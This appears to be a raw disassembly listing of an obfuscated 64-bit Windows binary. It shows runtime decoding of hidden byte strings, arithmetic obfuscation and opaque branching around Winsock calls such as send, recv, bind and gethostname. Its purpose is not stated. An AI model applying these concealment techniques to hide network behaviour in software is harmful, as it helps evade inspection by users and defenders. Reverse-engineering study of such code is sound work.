jmp 0x14007fe3f
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14007fbb6
add r10b, 0x54
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4c
movzx eax, byte [rbp + r15 + 0xb0]
add rax, r8
add r15, rax
inc r15
jmp 0x14007f3f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14007fbdf
sub r10b, 0x2a
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007fe3f
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14007fc08
sub r10b, 0x26
movzx eax, r10b
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14007fdd5
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14007fc34
add r10b, 0x5c
movzx eax, r10b
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
add rbx, r8
jmp 0x14007fdd5
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14007f806
add r10b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r15
inc r15
jmp 0x14007f3f3
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
movzx ecx, r9b
sub cl, al
add cl, 0x14
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14007fd90
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [rcx - 0x66]
jmp 0x14007fe13
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x4b
jmp 0x14007fe13
sub r10b, 0x1f
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x27
jmp 0x14007fdd5
add r10b, 0x5b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x7d
dec r15
inc r15
jmp 0x14007f3f3
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x61
jmp 0x14007fd28
movzx r10d, r15b
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x45
sub r10b, 0x59
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x6f
add r10b, r9b
mov byte [rbp + r15 + 0xb0], r10b
inc r8
dec r15
inc r15
jmp 0x14007f3f3
lea ecx, [r15 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
dec r15
inc r15
jmp 0x14007f3f3
movzx r10d, r15b
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x65
add r10b, 0x29
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x1f
add r10b, dil
add r10b, r9b
mov byte [rbp + r15 + 0xb0], r10b
add rbx, r8
jmp 0x14007fdd5
movabs rax, 0xf1d3ee01b310ebc9
add rax, r15
and r12b, al
add r12b, r12b
sub r9b, r12b
lea edi, [rax + r9]
sub dil, 0x7f
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r15, rcx
inc r15
jmp 0x14007f3f3
movabs rcx, 0x83330e73197ef047
add rcx, r15
and r12b, cl
add r12b, r12b
movzx edi, r9b
sub dil, r12b
add dil, 0xf
add dil, cl
movzx r10d, r15b
sub r10b, 0x55
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x53
add r10b, r9b
movzx eax, r10b
mov byte [rbp + r15 + 0xb0], al
inc r8
add rax, r8
sub r15, rax
lea edx, [r15 + 0x6c]
movzx eax, dl
and al, r9b
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, r9b
mov byte [rbp + r15 + 0xb0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r15, rax
movzx eax, byte [rbp + r15 + 0xb0]
add rax, r8
add r15, rax
inc r15
jmp 0x14007f3f3
movabs rcx, 0xa5f14f55e65af943
add rcx, r15
movzx eax, cl
and al, r12b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2b
movzx eax, byte [rbp + r15 + 0xb0]
add rax, r8
add r15, rax
inc r15
jmp 0x14007f3f3
add r10b, 0x45
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x1d
jmp 0x14007f3f0
sub r10b, 0x3d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x55
jmp 0x14007f3e0
lea rcx, [rbp + 0x14a7e5c]
jmp 0x14007ff12
lea rcx, [rbp + 0xd37c1d]
jmp 0x14007ff12
lea rcx, [rbp + 0xb0]
mov dword [rsp + 0x28], 0
lea rax, str._.3f
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x14014f090]
movss xmm2, dword [0x14014a3b0]
lea rdx, [0x1401fcaf8]
call fcn.14003f530
mov byte [rbp + 0x320], 0xe3
mov byte [rbp + 0x321], 0xcc
mov byte [rbp + 0x322], 0xcd
mov byte [rbp + 0x323], 0xcc
mov byte [rbp + 0x324], 0xc0
mov byte [rbp + 0x325], 0xcd
mov byte [rbp + 0x326], 0xcf
mov byte [rbp + 0x327], 0xc9
mov byte [rbp + 0x328], 0xaf
mov byte [rbp + 0x329], 0xc9
xor eax, eax
mov qword [rbp + 0x32a], rax
mov byte [rbp + 0x332], al
movabs r14, 0xf686749a2ea116b8
movabs r15, 0xaaba196ba3a9cc78
movabs r13, 0xbdad303746679f08
movabs r12, 0xe3935dce8be34428
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r9d, r9d
cmp r9, 0x13
jae 0x140080ae3
movzx r10d, byte [rbp + r9 + 0x320]
mov esi, r10d
nop dword [rax]
cmp rbx, r9
ja 0x140080ad7
lea r11, [r8 + 1]
cmp rbx, r11
jae 0x140080034
lea rcx, [r9 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 8
lea rdx, [r8 + 2]
lea rcx, [r8 + 3]
jmp 0x140080070
je 0x140080a68
lea rdx, [r8 + 2]
cmp rbx, rdx
je 0x1400809e0
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400809b2
lea rax, [r8 + 6]
cmp rbx, rax
je 0x140080991
lea rcx, [r8 + 3]
cmp rbx, rcx
je 0x140080969
nop
cmp r8, r9
ja 0x140080ace
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x14008009e
lea edx, [r9 + 0x18]
movzx eax, dl
and al, r10b
mov ecx, 0x2c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400800c6
cmp rbx, r11
je 0x14008091e
cmp rbx, rdx
je 0x1400808f9
cmp rbx, rcx
je 0x1400808b1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008088e
movzx edx, r9b
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r9
jbe 0x1400805f6
nop dword [rax]
movzx r11d, dl
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x1400805db
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x1400805b5
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008058f
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x14008056c
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008054a
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008052b
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140080508
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x1400804e9
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400804b8
movzx edx, r9b
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400800e0
lea rbx, [r8 + 8]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140080ab1
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x140080a94
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14008029b
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140080281
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x140080468
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008042a
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x1400803e8
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x1400803be
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x1400800e0
lea rbx, [r8 + 5]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14008038d
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008036e
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14008034f
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x140080330
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140080318
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x1400802f9
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x1400802d5
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400802b6
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400800e0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x1000]
jmp 0x1400800e0
lea ecx, [rdx - 0x18]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x58
jmp 0x1400800d0
lea ecx, [r9 + 8]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x38
jmp 0x140080000
lea ecx, [r9 - 0x40]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x40
movzx r11d, r9b
jmp 0x14008093c
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
inc r8
dec r9
inc r9
jmp 0x14007ffe3
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
movzx r11d, r9b
jmp 0x1400808cf
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add rbx, r8
jmp 0x1400809c7
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400809c7
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400809f5
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140080a25
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x14007ffe3
lea edx, [r9 - 0x58]
movzx eax, dl
and al, r10b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
mov byte [rbp + r9 + 0x320], dil
inc r9
jmp 0x14007ffe3
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
cmp r8, 8
jb 0x1400803d8
lea ecx, [r9 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, r10b
lea edi, [rcx*2 - 0x60]
movzx r11d, r9b
jmp 0x14008093c
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
cmp rbx, 0xa
jae 0x140080849
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x140080771
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
jmp 0x1400803f7
lea ecx, [r9 + 0x58]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x68
lea rax, [r8 + rbx]
cmp rax, 2
je 0x14008086c
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x1400806d0
lea edx, [r9 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x140080440
lea edx, [r9 - 0x70]
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x14007ffe3
lea edx, [r9 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140080a25
movzx r11d, r9b
lea edx, [r11 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400809f9
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400809c7
lea edx, [r9 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x1400809c7
movzx r11d, r9b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400808cf
sub r11b, 0x10
movzx eax, r11b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
dec r9
inc r9
jmp 0x14007ffe3
add r11b, 0x80
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
add dil, 0x80
inc r8
dec r9
inc r9
jmp 0x14007ffe3
lea ecx, [r11 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x14008093c
lea rax, [r8 + 0x40]
cmp rbx, rax
jae 0x14008061a
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x14008047e
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140080651
lea ecx, [r9 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x50
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x14007ffe3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080675
lea ecx, [r9 + 0x10]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x70
jmp 0x1400809f5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400806a0
lea edx, [r9 - 0x10]
movzx eax, dl
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add rbx, r8
jmp 0x1400809c7
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008047e
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r11d, r9b
jmp 0x14008093c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400806eb
lea edx, [r9 + 0x48]
mov ecx, 4
movzx r11d, r9b
jmp 0x14008092b
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140080716
lea ecx, [r9 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x18
dec r9
inc r9
jmp 0x14007ffe3
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140080737
lea ecx, [r9 + 0x78]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
jmp 0x1400809c3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140080440
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x14007ffe3
jne 0x1400807a4
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x14007ffe3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400807cc
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400809f5
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400807f4
lea edx, [r9 - 0x50]
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400809c7
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140080818
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
dec r9
inc r9
jmp 0x14007ffe3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140080402
lea ecx, [r9 + 0x70]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x10
inc r8
dec r9
inc r9
jmp 0x14007ffe3
lea edx, [r9 - 0x40]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x40
add dil, dl
add dil, r10b
movzx r11d, r9b
jmp 0x1400808cf
lea edx, [r9 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, r10b
sub dil, 0x50
add dil, dl
jmp 0x1400809f5
movzx r11d, r9b
lea edx, [r11 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x1400809f9
movzx r11d, r9b
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r11b, 0x78
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
sub r10b, 0x48
add r10b, dil
add r10b, r11b
mov byte [rbp + r9 + 0x320], r10b
add rbx, r8
jmp 0x1400809c7
lea edx, [r9 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r9
inc r9
jmp 0x14007ffe3
movzx r11d, r9b
lea edx, [r11 - 0x78]
mov ecx, 0x24
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r11b, 8
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x38
add r11b, r10b
mov byte [rbp + r9 + 0x320], r11b
inc r8
dec r9
inc r9
jmp 0x14007ffe3
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r9
inc r9
jmp 0x14007ffe3
lea ecx, [r9 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
dec r9
inc r9
jmp 0x14007ffe3
lea rax, [r9 + r15]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x48
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x14007ffe3
lea rax, [r9 + r13]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x38
movzx r11d, r9b
sub r11b, 0x18
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
sub r11b, 0x58
add r11b, r10b
movzx eax, r11b
mov byte [rbp + r9 + 0x320], al
inc r8
add rax, r8
sub r9, rax
lea ecx, [r9 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x60
add cl, r10b
mov byte [rbp + r9 + 0x320], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x14007ffe3
lea rax, [r9 + r12]
and sil, al
add sil, sil
sub al, sil
lea edi, [r10 + rax]
sub dil, 0x18
movzx eax, byte [rbp + r9 + 0x320]
add rax, r8
add r9, rax
inc r9
jmp 0x14007ffe3
sub r11b, 0x68
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x28
jmp 0x14007ffe0
add r11b, 0x28
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x18
jmp 0x14007ffc4
lea rcx, [rbp + 0x17b46c0]
jmp 0x140080aea
lea rcx, [rbp + 0x11c5d78]
jmp 0x140080aea
lea rcx, [rbp + 0x320]
mov dword [rsp + 0x28], 0
lea rax, str._.3f
mov qword [rsp + 0x20], rax
movaps xmm3, xmm11
movaps xmm2, xmm12
lea rdx, [0x1401fcafc]
call fcn.14003f530
mov esi, dword [0x1401fe898]
mov r14d, dword [reloc.WS2_32.dll_bind]
mov byte [rbp + 0x340], 0xe5
mov byte [rbp + 0x341], 0x3a
mov byte [rbp + 0x342], gethostname
mov byte [rbp + 0x343], 0xc3
mov byte [rbp + 0x344], reloc.WS2_32.dll_socket
mov byte [rbp + 0x345], 2
mov byte [rbp + 0x346], reloc.WS2_32.dll_socket
mov byte [rbp + 0x347], 0x9f
xor eax, eax
mov qword [rbp + 0x348], rax
mov word [rbp + 0x350], ax
mov byte [rbp + 0x352], al
movabs r15, 0x2ae119d933fa3c1b
movabs r13, 0x2c27b4f06bd7a4bd
movabs r12, 0x80a34d8b9beeb451
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x13
jae 0x140081718
movzx r10d, byte [rbp + r11 + 0x340]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x14008170c
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140080bec
lea rcx, [r11 + r15]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x43
jmp 0x140080c19
je 0x14008169c
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081610
lea rax, [r8 + 4]
cmp rbx, rax
je 0x1400815b8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140081594
movzx r9d, r11b
nop dword [rax]
cmp r8, r11
ja 0x140081700
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jae 0x140080c51
lea ecx, [r9 + 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x7f
jmp 0x140080c90
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140081551
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008152e
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140081513
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400814f8
nop word [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x1400811f5
nop dword [rax]
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x1400811da
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400811b1
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008118e
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008116f
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140081152
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140081132
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140081117
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x1400810f7
lea rcx, [r8 + 6]
cmp rbx, rcx
je 0x1400810c8
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x140080ca0
mov rbx, rcx
lea r8, [rcx + 3]
lea rax, [r8 + 0x2a]
cmp rcx, rax
jb 0x1400816e3
lea rax, [r8 + 3]
cmp rcx, rax
jb 0x1400816c6
lea rax, [r8 + 0x7a]
cmp rcx, rax
jb 0x140080e85
lea rax, [r8 + 0x80]
cmp rcx, rax
jb 0x140080e6a
lea rax, [r8 + 0x400]
cmp rcx, rax
jb 0x140080e4f
lea rax, [r8 + 0x40]
cmp rcx, rax
jb 0x14008107f
lea rax, [r8 + 8]
cmp rcx, rax
jb 0x140081036
lea rax, [r8 + 0x10]
cmp rcx, rax
jb 0x140080ff7
lea rax, [r8 + 4]
cmp rcx, rax
jb 0x140080fcf
lea rax, [r8 + 0x41]
cmp rcx, rax
jb 0x140080ca0
lea rbx, [r8 + 0x1000]
lea r8, [rbx + 1]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140080fa0
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x140080f80
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140080f65
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140080f45
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140080f28
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140080f09
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140080ee6
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x140080ebd
lea rcx, [r8 + 0x3e8]
cmp rbx, rcx
ja 0x140080ea2
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140080ca0
mov rbx, rcx
lea r8, [rcx + 0x64]
jmp 0x140080ca0
lea ecx, [r9 - 0x57]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x61
jmp 0x140080c90
lea ecx, [r9 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
jmp 0x140080c20
add r9b, 0x3d
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x55
jmp 0x140080bc0
lea ecx, [r9 - 0x48]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 8
jmp 0x140081567
sub r9b, 0x7e
movzx eax, r9b
and al, r10b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140080ba3
add r9b, 0x4c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x14
dec r11
inc r11
jmp 0x140080ba3
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400815d2
sub r9b, 0x20
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x20
jmp 0x1400815f4
sub r9b, 0x56
movzx eax, r9b
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x1400815f7
lea ecx, [r9 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x14008162a
add r9b, 0x3e
movzx eax, r9b
and al, r10b
mov ecx, 0x27
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140081655
add r9b, 8
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x38
movzx eax, byte [rbp + r11 + 0x340]
add rax, r8
add r11, rax
inc r11
jmp 0x140080ba3
sub r9b, 0x7f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x79
mov byte [rbp + r11 + 0x340], dil
inc r11
jmp 0x140080ba3
lea ecx, [r9 + 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xd
cmp r8, 0x200
jb 0x140080fe7
lea ecx, [r9 - 0x3e]
movzx eax, cl
and al, r10b
mov edx, 0x19
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x140081567
lea ecx, [r9 + 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x6d
cmp rbx, 3
jae 0x1400814c4
lea rax, [r8 + 0x2a]
cmp rbx, rax
jbe 0x140081400
lea edx, [r9 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
